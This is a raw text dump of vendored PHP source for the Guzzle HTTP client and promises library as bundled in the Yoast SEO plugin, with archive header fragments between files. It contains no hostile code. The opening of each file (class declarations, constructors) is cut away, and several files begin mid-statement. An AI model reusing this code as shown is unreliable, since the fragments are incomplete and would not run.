\YoastSEO_Vendor\GuzzleHttp\Psr7\Message::bodySummary($message) : \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::bodySummary($message, $this->truncateAt); } } guzzlehttp/guzzle/src/functions.php000066600000013540151734252230013627 0ustar00decider = $decider; $this->nextHandler = $nextHandler; $this->delay = $delay ?: __CLASS__ . '::exponentialDelay'; } /** * Default exponential backoff delay function. * * @return int milliseconds. */ public static function exponentialDelay(int $retries) : int { return (int) 2 ** ($retries - 1) * 1000; } public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { if (!isset($options['retries'])) { $options['retries'] = 0; } $fn = $this->nextHandler; return $fn($request, $options)->then($this->onFulfilled($request, $options), $this->onRejected($request, $options)); } /** * Execute fulfilled closure */ private function onFulfilled(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : callable { return function ($value) use($request, $options) { if (!($this->decider)($options['retries'], $request, $value, null)) { return $value; } return $this->doRetry($request, $options, $value); }; } /** * Execute rejected closure */ private function onRejected(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $req, array $options) : callable { return function ($reason) use($req, $options) { if (!($this->decider)($options['retries'], $req, null, $reason)) { return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($reason); } return $this->doRetry($req, $options); }; } private function doRetry(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { $options['delay'] = ($this->delay)(++$options['retries'], $response, $request); return $this($request, $options); } } guzzlehttp/guzzle/src/Middleware.php000066600000026130151734252230013673 0ustar00withCookieHeader($request); return $handler($request, $options)->then(static function (\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) use($cookieJar, $request) : ResponseInterface { $cookieJar->extractCookies($request, $response); return $response; }); }; }; } /** * Middleware that throws exceptions for 4xx or 5xx responses when the * "http_errors" request option is set to true. * * @param BodySummarizerInterface|null $bodySummarizer The body summarizer to use in exception messages. * * @return callable(callable): callable Returns a function that accepts the next handler. */ public static function httpErrors(\YoastSEO_Vendor\GuzzleHttp\BodySummarizerInterface $bodySummarizer = null) : callable { return static function (callable $handler) use($bodySummarizer) : callable { return static function ($request, array $options) use($handler, $bodySummarizer) { if (empty($options['http_errors'])) { return $handler($request, $options); } return $handler($request, $options)->then(static function (\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) use($request, $bodySummarizer) { $code = $response->getStatusCode(); if ($code < 400) { return $response; } throw \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException::create($request, $response, null, [], $bodySummarizer); }); }; }; } /** * Middleware that pushes history data to an ArrayAccess container. * * @param array|\ArrayAccess $container Container to hold the history (by reference). * * @return callable(callable): callable Returns a function that accepts the next handler. * * @throws \InvalidArgumentException if container is not an array or ArrayAccess. */ public static function history(&$container) : callable { if (!\is_array($container) && !$container instanceof \ArrayAccess) { throw new \InvalidArgumentException('history container must be an array or object implementing ArrayAccess'); } return static function (callable $handler) use(&$container) : callable { return static function (\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) use($handler, &$container) { return $handler($request, $options)->then(static function ($value) use($request, &$container, $options) { $container[] = ['request' => $request, 'response' => $value, 'error' => null, 'options' => $options]; return $value; }, static function ($reason) use($request, &$container, $options) { $container[] = ['request' => $request, 'response' => null, 'error' => $reason, 'options' => $options]; return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($reason); }); }; }; } /** * Middleware that invokes a callback before and after sending a request. * * The provided listener cannot modify or alter the response. It simply * "taps" into the chain to be notified before returning the promise. The * before listener accepts a request and options array, and the after * listener accepts a request, options array, and response promise. * * @param callable $before Function to invoke before forwarding the request. * @param callable $after Function invoked after forwarding. * * @return callable Returns a function that accepts the next handler. */ public static function tap(callable $before = null, callable $after = null) : callable { return static function (callable $handler) use($before, $after) : callable { return static function (\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) use($handler, $before, $after) { if ($before) { $before($request, $options); } $response = $handler($request, $options); if ($after) { $after($request, $options, $response); } return $response; }; }; } /** * Middleware that handles request redirects. * * @return callable Returns a function that accepts the next handler. */ public static function redirect() : callable { return static function (callable $handler) : RedirectMiddleware { return new \YoastSEO_Vendor\GuzzleHttp\RedirectMiddleware($handler); }; } /** * Middleware that retries requests based on the boolean result of * invoking the provided "decider" function. * * If no delay function is provided, a simple implementation of exponential * backoff will be utilized. * * @param callable $decider Function that accepts the number of retries, * a request, [response], and [exception] and * returns true if the request is to be retried. * @param callable $delay Function that accepts the number of retries and * returns the number of milliseconds to delay. * * @return callable Returns a function that accepts the next handler. */ public static function retry(callable $decider, callable $delay = null) : callable { return static function (callable $handler) use($decider, $delay) : RetryMiddleware { return new \YoastSEO_Vendor\GuzzleHttp\RetryMiddleware($decider, $handler, $delay); }; } /** * Middleware that logs requests, responses, and errors using a message * formatter. * * @phpstan-param \Psr\Log\LogLevel::* $logLevel Level at which to log requests. * * @param LoggerInterface $logger Logs messages. * @param MessageFormatterInterface|MessageFormatter $formatter Formatter used to create message strings. * @param string $logLevel Level at which to log requests. * * @return callable Returns a function that accepts the next handler. */ public static function log(\YoastSEO_Vendor\Psr\Log\LoggerInterface $logger, $formatter, string $logLevel = 'info') : callable { // To be compatible with Guzzle 7.1.x we need to allow users to pass a MessageFormatter if (!$formatter instanceof \YoastSEO_Vendor\GuzzleHttp\MessageFormatter && !$formatter instanceof \YoastSEO_Vendor\GuzzleHttp\MessageFormatterInterface) { throw new \LogicException(\sprintf('Argument 2 to %s::log() must be of type %s', self::class, \YoastSEO_Vendor\GuzzleHttp\MessageFormatterInterface::class)); } return static function (callable $handler) use($logger, $formatter, $logLevel) : callable { return static function (\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options = []) use($handler, $logger, $formatter, $logLevel) { return $handler($request, $options)->then(static function ($response) use($logger, $request, $formatter, $logLevel) : ResponseInterface { $message = $formatter->format($request, $response); $logger->log($logLevel, $message); return $response; }, static function ($reason) use($logger, $request, $formatter) : PromiseInterface { $response = $reason instanceof \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException ? $reason->getResponse() : null; $message = $formatter->format($request, $response, \YoastSEO_Vendor\GuzzleHttp\Promise\Create::exceptionFor($reason)); $logger->error($message); return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($reason); }); }; }; } /** * This middleware adds a default content-type if possible, a default * content-length or transfer-encoding header, and the expect header. */ public static function prepareBody() : callable { return static function (callable $handler) : PrepareBodyMiddleware { return new \YoastSEO_Vendor\GuzzleHttp\PrepareBodyMiddleware($handler); }; } /** * Middleware that applies a map function to the request before passing to * the next handler. * * @param callable $fn Function that accepts a RequestInterface and returns * a RequestInterface. */ public static function mapRequest(callable $fn) : callable { return static function (callable $handler) use($fn) : callable { return static function (\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) use($handler, $fn) { return $handler($fn($request), $options); }; }; } /** * Middleware that applies a map function to the resolved promise's * response. * * @param callable $fn Function that accepts a ResponseInterface and * returns a ResponseInterface. */ public static function mapResponse(callable $fn) : callable { return static function (callable $handler) use($fn) : callable { return static function (\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) use($handler, $fn) { return $handler($request, $options)->then($fn); }; }; } } guzzlehttp/promises/src/TaskQueueInterface.php000066600000000723151734252230015667 0ustar00reason = $reason; } public function then(callable $onFulfilled = null, callable $onRejected = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { // If there's no onRejected callback then just return self. if (!$onRejected) { return $this; } $queue = \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue(); $reason = $this->reason; $p = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise([$queue, 'run']); $queue->add(static function () use($p, $reason, $onRejected) : void { if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::pending($p)) { try { // Return a resolved promise if onRejected does not throw. $p->resolve($onRejected($reason)); } catch (\Throwable $e) { // onRejected threw, so return a rejected promise. $p->reject($e); } } }); return $p; } public function otherwise(callable $onRejected) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return $this->then(null, $onRejected); } public function wait(bool $unwrap = \true) { if ($unwrap) { throw \YoastSEO_Vendor\GuzzleHttp\Promise\Create::exceptionFor($this->reason); } return null; } public function getState() : string { return self::REJECTED; } public function resolve($value) : void { throw new \LogicException('Cannot resolve a rejected promise'); } public function reject($reason) : void { if ($reason !== $this->reason) { throw new \LogicException('Cannot reject a rejected promise'); } } public function cancel() : void { // pass } } guzzlehttp/promises/src/RejectionException.php000066600000002327151734252230015742 0ustar00reason = $reason; $message = 'The promise was rejected'; if ($description) { $message .= ' with reason: ' . $description; } elseif (\is_string($reason) || \is_object($reason) && \method_exists($reason, '__toString')) { $message .= ' with reason: ' . $this->reason; } elseif ($reason instanceof \JsonSerializable) { $message .= ' with reason: ' . \json_encode($this->reason, \JSON_PRETTY_PRINT); } parent::__construct($message); } /** * Returns the rejection reason. * * @return mixed */ public function getReason() { return $this->reason; } } guzzlehttp/promises/src/Is.php000066600000002336151734252230012514 0ustar00getState() === \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::PENDING; } /** * Returns true if a promise is fulfilled or rejected. */ public static function settled(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise) : bool { return $promise->getState() !== \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::PENDING; } /** * Returns true if a promise is fulfilled. */ public static function fulfilled(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise) : bool { return $promise->getState() === \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::FULFILLED; } /** * Returns true if a promise is rejected. */ public static function rejected(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise) : bool { return $promise->getState() === \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::REJECTED; } } guzzlehttp/promises/src/CancellationException.php000066600000000405151734252230016407 0ustar00run(); * * @final */ class TaskQueue implements \YoastSEO_Vendor\GuzzleHttp\Promise\TaskQueueInterface { private $enableShutdown = \true; private $queue = []; public function __construct(bool $withShutdown = \true) { if ($withShutdown) { \register_shutdown_function(function () : void { if ($this->enableShutdown) { // Only run the tasks if an E_ERROR didn't occur. $err = \error_get_last(); if (!$err || $err['type'] ^ \E_ERROR) { $this->run(); } } }); } } public function isEmpty() : bool { return !$this->queue; } public function add(callable $task) : void { $this->queue[] = $task; } public function run() : void { while ($task = \array_shift($this->queue)) { /** @var callable $task */ $task(); } } /** * The task queue will be run and exhausted by default when the process * exits IFF the exit is not the result of a PHP E_ERROR error. * * You can disable running the automatic shutdown of the queue by calling * this function. If you disable the task queue shutdown process, then you * MUST either run the task queue (as a result of running your event loop * or manually using the run() method) or wait on each outstanding promise. * * Note: This shutdown will occur before any destructors are triggered. */ public function disableShutdown() : void { $this->enableShutdown = \false; } } guzzlehttp/promises/src/AggregateException.php000066600000000661151734252230015705 0ustar00waitFn = $waitFn; $this->cancelFn = $cancelFn; } public function then(callable $onFulfilled = null, callable $onRejected = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { if ($this->state === self::PENDING) { $p = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise(null, [$this, 'cancel']); $this->handlers[] = [$p, $onFulfilled, $onRejected]; $p->waitList = $this->waitList; $p->waitList[] = $this; return $p; } // Return a fulfilled promise and immediately invoke any callbacks. if ($this->state === self::FULFILLED) { $promise = \YoastSEO_Vendor\GuzzleHttp\Promise\Create::promiseFor($this->result); return $onFulfilled ? $promise->then($onFulfilled) : $promise; } // It's either cancelled or rejected, so return a rejected promise // and immediately invoke any callbacks. $rejection = \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($this->result); return $onRejected ? $rejection->then(null, $onRejected) : $rejection; } public function otherwise(callable $onRejected) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return $this->then(null, $onRejected); } public function wait(bool $unwrap = \true) { $this->waitIfPending(); if ($this->result instanceof \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface) { return $this->result->wait($unwrap); } if ($unwrap) { if ($this->state === self::FULFILLED) { return $this->result; } // It's rejected so "unwrap" and throw an exception. throw \YoastSEO_Vendor\GuzzleHttp\Promise\Create::exceptionFor($this->result); } } public function getState() : string { return $this->state; } public function cancel() : void { if ($this->state !== self::PENDING) { return; } $this->waitFn = $this->waitList = null; if ($this->cancelFn) { $fn = $this->cancelFn; $this->cancelFn = null; try { $fn(); } catch (\Throwable $e) { $this->reject($e); } } // Reject the promise only if it wasn't rejected in a then callback. /** @psalm-suppress RedundantCondition */ if ($this->state === self::PENDING) { $this->reject(new \YoastSEO_Vendor\GuzzleHttp\Promise\CancellationException('Promise has been cancelled')); } } public function resolve($value) : void { $this->settle(self::FULFILLED, $value); } public function reject($reason) : void { $this->settle(self::REJECTED, $reason); } private function settle(string $state, $value) : void { if ($this->state !== self::PENDING) { // Ignore calls with the same resolution. if ($state === $this->state && $value === $this->result) { return; } throw $this->state === $state ? new \LogicException("The promise is already {$state}.") : new \LogicException("Cannot change a {$this->state} promise to {$state}"); } if ($value === $this) { throw new \LogicException('Cannot fulfill or reject a promise with itself'); } // Clear out the state of the promise but stash the handlers. $this->state = $state; $this->result = $value; $handlers = $this->handlers; $this->handlers = null; $this->waitList = $this->waitFn = null; $this->cancelFn = null; if (!$handlers) { return; } // If the value was not a settled promise or a thenable, then resolve // it in the task queue using the correct ID. if (!\is_object($value) || !\method_exists($value, 'then')) { $id = $state === self::FULFILLED ? 1 : 2; // It's a success, so resolve the handlers in the queue. \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue()->add(static function () use($id, $value, $handlers) : void { foreach ($handlers as $handler) { self::callHandler($id, $value, $handler); } }); } elseif ($value instanceof \YoastSEO_Vendor\GuzzleHttp\Promise\Promise && \YoastSEO_Vendor\GuzzleHttp\Promise\Is::pending($value)) { // We can just merge our handlers onto the next promise. $value->handlers = \array_merge($value->handlers, $handlers); } else { // Resolve the handlers when the forwarded promise is resolved. $value->then(static function ($value) use($handlers) : void { foreach ($handlers as $handler) { self::callHandler(1, $value, $handler); } }, static function ($reason) use($handlers) : void { foreach ($handlers as $handler) { self::callHandler(2, $reason, $handler); } }); } } /** * Call a stack of handlers using a specific callback index and value. * * @param int $index 1 (resolve) or 2 (reject). * @param mixed $value Value to pass to the callback. * @param array $handler Array of handler data (promise and callbacks). */ private static function callHandler(int $index, $value, array $handler) : void { /** @var PromiseInterface $promise */ $promise = $handler[0]; // The promise may have been cancelled or resolved before placing // this thunk in the queue. if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::settled($promise)) { return; } try { if (isset($handler[$index])) { /* * If $f throws an exception, then $handler will be in the exception * stack trace. Since $handler contains a reference to the callable * itself we get a circular reference. We clear the $handler * here to avoid that memory leak. */ $f = $handler[$index]; unset($handler); $promise->resolve($f($value)); } elseif ($index === 1) { // Forward resolution values as-is. $promise->resolve($value); } else { // Forward rejections down the chain. $promise->reject($value); } } catch (\Throwable $reason) { $promise->reject($reason); } } private function waitIfPending() : void { if ($this->state !== self::PENDING) { return; } elseif ($this->waitFn) { $this->invokeWaitFn(); } elseif ($this->waitList) { $this->invokeWaitList(); } else { // If there's no wait function, then reject the promise. $this->reject('Cannot wait on a promise that has ' . 'no internal wait function. You must provide a wait ' . 'function when constructing the promise to be able to ' . 'wait on a promise.'); } \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue()->run(); /** @psalm-suppress RedundantCondition */ if ($this->state === self::PENDING) { $this->reject('Invoking the wait callback did not resolve the promise'); } } private function invokeWaitFn() : void { try { $wfn = $this->waitFn; $this->waitFn = null; $wfn(\true); } catch (\Throwable $reason) { if ($this->state === self::PENDING) { // The promise has not been resolved yet, so reject the promise // with the exception. $this->reject($reason); } else { // The promise was already resolved, so there's a problem in // the application. throw $reason; } } } private function invokeWaitList() : void { $waitList = $this->waitList; $this->waitList = null; foreach ($waitList as $result) { do { $result->waitIfPending(); $result = $result->result; } while ($result instanceof \YoastSEO_Vendor\GuzzleHttp\Promise\Promise); if ($result instanceof \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface) { $result->wait(\false); } } } } guzzlehttp/promises/src/Create.php000066600000004412151734252230013341 0ustar00then([$promise, 'resolve'], [$promise, 'reject']); return $promise; } return new \YoastSEO_Vendor\GuzzleHttp\Promise\FulfilledPromise($value); } /** * Creates a rejected promise for a reason if the reason is not a promise. * If the provided reason is a promise, then it is returned as-is. * * @param mixed $reason Promise or reason. */ public static function rejectionFor($reason) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { if ($reason instanceof \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface) { return $reason; } return new \YoastSEO_Vendor\GuzzleHttp\Promise\RejectedPromise($reason); } /** * Create an exception for a rejected promise value. * * @param mixed $reason */ public static function exceptionFor($reason) : \Throwable { if ($reason instanceof \Throwable) { return $reason; } return new \YoastSEO_Vendor\GuzzleHttp\Promise\RejectionException($reason); } /** * Returns an iterator for the given value. * * @param mixed $value */ public static function iterFor($value) : \Iterator { if ($value instanceof \Iterator) { return $value; } if (\is_array($value)) { return new \ArrayIterator($value); } return new \ArrayIterator([$value]); } } guzzlehttp/promises/src/FulfilledPromise.php000066600000004261151734252230015405 0ustar00value = $value; } public function then(callable $onFulfilled = null, callable $onRejected = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { // Return itself if there is no onFulfilled function. if (!$onFulfilled) { return $this; } $queue = \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue(); $p = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise([$queue, 'run']); $value = $this->value; $queue->add(static function () use($p, $value, $onFulfilled) : void { if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::pending($p)) { try { $p->resolve($onFulfilled($value)); } catch (\Throwable $e) { $p->reject($e); } } }); return $p; } public function otherwise(callable $onRejected) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return $this->then(null, $onRejected); } public function wait(bool $unwrap = \true) { return $unwrap ? $this->value : null; } public function getState() : string { return self::FULFILLED; } public function resolve($value) : void { if ($value !== $this->value) { throw new \LogicException('Cannot resolve a fulfilled promise'); } } public function reject($reason) : void { throw new \LogicException('Cannot reject a fulfilled promise'); } public function cancel() : void { // pass } } guzzlehttp/promises/src/PromiseInterface.php000066600000005511151734252230015376 0ustar00 * while ($eventLoop->isRunning()) { * GuzzleHttp\Promise\Utils::queue()->run(); * } * * * @param TaskQueueInterface|null $assign Optionally specify a new queue instance. */ public static function queue(\YoastSEO_Vendor\GuzzleHttp\Promise\TaskQueueInterface $assign = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\TaskQueueInterface { static $queue; if ($assign) { $queue = $assign; } elseif (!$queue) { $queue = new \YoastSEO_Vendor\GuzzleHttp\Promise\TaskQueue(); } return $queue; } /** * Adds a function to run in the task queue when it is next `run()` and * returns a promise that is fulfilled or rejected with the result. * * @param callable $task Task function to run. */ public static function task(callable $task) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { $queue = self::queue(); $promise = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise([$queue, 'run']); $queue->add(function () use($task, $promise) : void { try { if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::pending($promise)) { $promise->resolve($task()); } } catch (\Throwable $e) { $promise->reject($e); } }); return $promise; } /** * Synchronously waits on a promise to resolve and returns an inspection * state array. * * Returns a state associative array containing a "state" key mapping to a * valid promise state. If the state of the promise is "fulfilled", the * array will contain a "value" key mapping to the fulfilled value of the * promise. If the promise is rejected, the array will contain a "reason" * key mapping to the rejection reason of the promise. * * @param PromiseInterface $promise Promise or value. */ public static function inspect(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise) : array { try { return ['state' => \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::FULFILLED, 'value' => $promise->wait()]; } catch (\YoastSEO_Vendor\GuzzleHttp\Promise\RejectionException $e) { return ['state' => \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::REJECTED, 'reason' => $e->getReason()]; } catch (\Throwable $e) { return ['state' => \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::REJECTED, 'reason' => $e]; } } /** * Waits on all of the provided promises, but does not unwrap rejected * promises as thrown exception. * * Returns an array of inspection state arrays. * * @see inspect for the inspection state array format. * * @param PromiseInterface[] $promises Traversable of promises to wait upon. */ public static function inspectAll($promises) : array { $results = []; foreach ($promises as $key => $promise) { $results[$key] = self::inspect($promise); } return $results; } /** * Waits on all of the provided promises and returns the fulfilled values. * * Returns an array that contains the value of each promise (in the same * order the promises were provided). An exception is thrown if any of the * promises are rejected. * * @param iterable $promises Iterable of PromiseInterface objects to wait on. * * @throws \Throwable on error */ public static function unwrap($promises) : array { $results = []; foreach ($promises as $key => $promise) { $results[$key] = $promise->wait(); } return $results; } /** * Given an array of promises, return a promise that is fulfilled when all * the items in the array are fulfilled. * * The promise's fulfillment value is an array with fulfillment values at * respective positions to the original array. If any promise in the array * rejects, the returned promise is rejected with the rejection reason. * * @param mixed $promises Promises or values. * @param bool $recursive If true, resolves new promises that might have been added to the stack during its own resolution. */ public static function all($promises, bool $recursive = \false) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { $results = []; $promise = \YoastSEO_Vendor\GuzzleHttp\Promise\Each::of($promises, function ($value, $idx) use(&$results) : void { $results[$idx] = $value; }, function ($reason, $idx, \YoastSEO_Vendor\GuzzleHttp\Promise\Promise $aggregate) : void { $aggregate->reject($reason); })->then(function () use(&$results) { \ksort($results); return $results; }); if (\true === $recursive) { $promise = $promise->then(function ($results) use($recursive, &$promises) { foreach ($promises as $promise) { if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::pending($promise)) { return self::all($promises, $recursive); } } return $results; }); } return $promise; } /** * Initiate a competitive race between multiple promises or values (values * will become immediately fulfilled promises). * * When count amount of promises have been fulfilled, the returned promise * is fulfilled with an array that contains the fulfillment values of the * winners in order of resolution. * * This promise is rejected with a {@see AggregateException} if the number * of fulfilled promises is less than the desired $count. * * @param int $count Total number of promises. * @param mixed $promises Promises or values. */ public static function some(int $count, $promises) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { $results = []; $rejections = []; return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::of($promises, function ($value, $idx, \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $p) use(&$results, $count) : void { if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::settled($p)) { return; } $results[$idx] = $value; if (\count($results) >= $count) { $p->resolve(null); } }, function ($reason) use(&$rejections) : void { $rejections[] = $reason; })->then(function () use(&$results, &$rejections, $count) { if (\count($results) !== $count) { throw new \YoastSEO_Vendor\GuzzleHttp\Promise\AggregateException('Not enough promises to fulfill count', $rejections); } \ksort($results); return \array_values($results); }); } /** * Like some(), with 1 as count. However, if the promise fulfills, the * fulfillment value is not an array of 1 but the value directly. * * @param mixed $promises Promises or values. */ public static function any($promises) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return self::some(1, $promises)->then(function ($values) { return $values[0]; }); } /** * Returns a promise that is fulfilled when all of the provided promises have * been fulfilled or rejected. * * The returned promise is fulfilled with an array of inspection state arrays. * * @see inspect for the inspection state array format. * * @param mixed $promises Promises or values. */ public static function settle($promises) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { $results = []; return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::of($promises, function ($value, $idx) use(&$results) : void { $results[$idx] = ['state' => \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::FULFILLED, 'value' => $value]; }, function ($reason, $idx) use(&$results) : void { $results[$idx] = ['state' => \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::REJECTED, 'reason' => $reason]; })->then(function () use(&$results) { \ksort($results); return $results; }); } } guzzlehttp/promises/src/PromisorInterface.php000066600000000456151734252230015575 0ustar00then(function ($v) { echo $v; }); * * @param callable $generatorFn Generator function to wrap into a promise. * * @return Promise * * @see https://github.com/petkaantonov/bluebird/blob/master/API.md#generators inspiration */ final class Coroutine implements \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { /** * @var PromiseInterface|null */ private $currentPromise; /** * @var Generator */ private $generator; /** * @var Promise */ private $result; public function __construct(callable $generatorFn) { $this->generator = $generatorFn(); $this->result = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise(function () : void { while (isset($this->currentPromise)) { $this->currentPromise->wait(); } }); try { $this->nextCoroutine($this->generator->current()); } catch (\Throwable $throwable) { $this->result->reject($throwable); } } /** * Create a new coroutine. */ public static function of(callable $generatorFn) : self { return new self($generatorFn); } public function then(callable $onFulfilled = null, callable $onRejected = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return $this->result->then($onFulfilled, $onRejected); } public function otherwise(callable $onRejected) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return $this->result->otherwise($onRejected); } public function wait(bool $unwrap = \true) { return $this->result->wait($unwrap); } public function getState() : string { return $this->result->getState(); } public function resolve($value) : void { $this->result->resolve($value); } public function reject($reason) : void { $this->result->reject($reason); } public function cancel() : void { $this->currentPromise->cancel(); $this->result->cancel(); } private function nextCoroutine($yielded) : void { $this->currentPromise = \YoastSEO_Vendor\GuzzleHttp\Promise\Create::promiseFor($yielded)->then([$this, '_handleSuccess'], [$this, '_handleFailure']); } /** * @internal */ public function _handleSuccess($value) : void { unset($this->currentPromise); try { $next = $this->generator->send($value); if ($this->generator->valid()) { $this->nextCoroutine($next); } else { $this->result->resolve($value); } } catch (\Throwable $throwable) { $this->result->reject($throwable); } } /** * @internal */ public function _handleFailure($reason) : void { unset($this->currentPromise); try { $nextYield = $this->generator->throw(\YoastSEO_Vendor\GuzzleHttp\Promise\Create::exceptionFor($reason)); // The throw was caught, so keep iterating on the coroutine $this->nextCoroutine($nextYield); } catch (\Throwable $throwable) { $this->result->reject($throwable); } } } guzzlehttp/promises/src/EachPromise.php000066600000016566151734252230014352 0ustar00iterable = \YoastSEO_Vendor\GuzzleHttp\Promise\Create::iterFor($iterable); if (isset($config['concurrency'])) { $this->concurrency = $config['concurrency']; } if (isset($config['fulfilled'])) { $this->onFulfilled = $config['fulfilled']; } if (isset($config['rejected'])) { $this->onRejected = $config['rejected']; } } /** @psalm-suppress InvalidNullableReturnType */ public function promise() : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { if ($this->aggregate) { return $this->aggregate; } try { $this->createPromise(); /** @psalm-assert Promise $this->aggregate */ $this->iterable->rewind(); $this->refillPending(); } catch (\Throwable $e) { $this->aggregate->reject($e); } /** * @psalm-suppress NullableReturnStatement */ return $this->aggregate; } private function createPromise() : void { $this->mutex = \false; $this->aggregate = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise(function () : void { if ($this->checkIfFinished()) { return; } \reset($this->pending); // Consume a potentially fluctuating list of promises while // ensuring that indexes are maintained (precluding array_shift). while ($promise = \current($this->pending)) { \next($this->pending); $promise->wait(); if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::settled($this->aggregate)) { return; } } }); // Clear the references when the promise is resolved. $clearFn = function () : void { $this->iterable = $this->concurrency = $this->pending = null; $this->onFulfilled = $this->onRejected = null; $this->nextPendingIndex = 0; }; $this->aggregate->then($clearFn, $clearFn); } private function refillPending() : void { if (!$this->concurrency) { // Add all pending promises. while ($this->addPending() && $this->advanceIterator()) { } return; } // Add only up to N pending promises. $concurrency = \is_callable($this->concurrency) ? ($this->concurrency)(\count($this->pending)) : $this->concurrency; $concurrency = \max($concurrency - \count($this->pending), 0); // Concurrency may be set to 0 to disallow new promises. if (!$concurrency) { return; } // Add the first pending promise. $this->addPending(); // Note this is special handling for concurrency=1 so that we do // not advance the iterator after adding the first promise. This // helps work around issues with generators that might not have the // next value to yield until promise callbacks are called. while (--$concurrency && $this->advanceIterator() && $this->addPending()) { } } private function addPending() : bool { if (!$this->iterable || !$this->iterable->valid()) { return \false; } $promise = \YoastSEO_Vendor\GuzzleHttp\Promise\Create::promiseFor($this->iterable->current()); $key = $this->iterable->key(); // Iterable keys may not be unique, so we use a counter to // guarantee uniqueness $idx = $this->nextPendingIndex++; $this->pending[$idx] = $promise->then(function ($value) use($idx, $key) : void { if ($this->onFulfilled) { ($this->onFulfilled)($value, $key, $this->aggregate); } $this->step($idx); }, function ($reason) use($idx, $key) : void { if ($this->onRejected) { ($this->onRejected)($reason, $key, $this->aggregate); } $this->step($idx); }); return \true; } private function advanceIterator() : bool { // Place a lock on the iterator so that we ensure to not recurse, // preventing fatal generator errors. if ($this->mutex) { return \false; } $this->mutex = \true; try { $this->iterable->next(); $this->mutex = \false; return \true; } catch (\Throwable $e) { $this->aggregate->reject($e); $this->mutex = \false; return \false; } } private function step(int $idx) : void { // If the promise was already resolved, then ignore this step. if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::settled($this->aggregate)) { return; } unset($this->pending[$idx]); // Only refill pending promises if we are not locked, preventing the // EachPromise to recursively invoke the provided iterator, which // cause a fatal error: "Cannot resume an already running generator" if ($this->advanceIterator() && !$this->checkIfFinished()) { // Add more pending promises if possible. $this->refillPending(); } } private function checkIfFinished() : bool { if (!$this->pending && !$this->iterable->valid()) { // Resolve the promise if there's nothing left to do. $this->aggregate->resolve(null); return \true; } return \false; } } 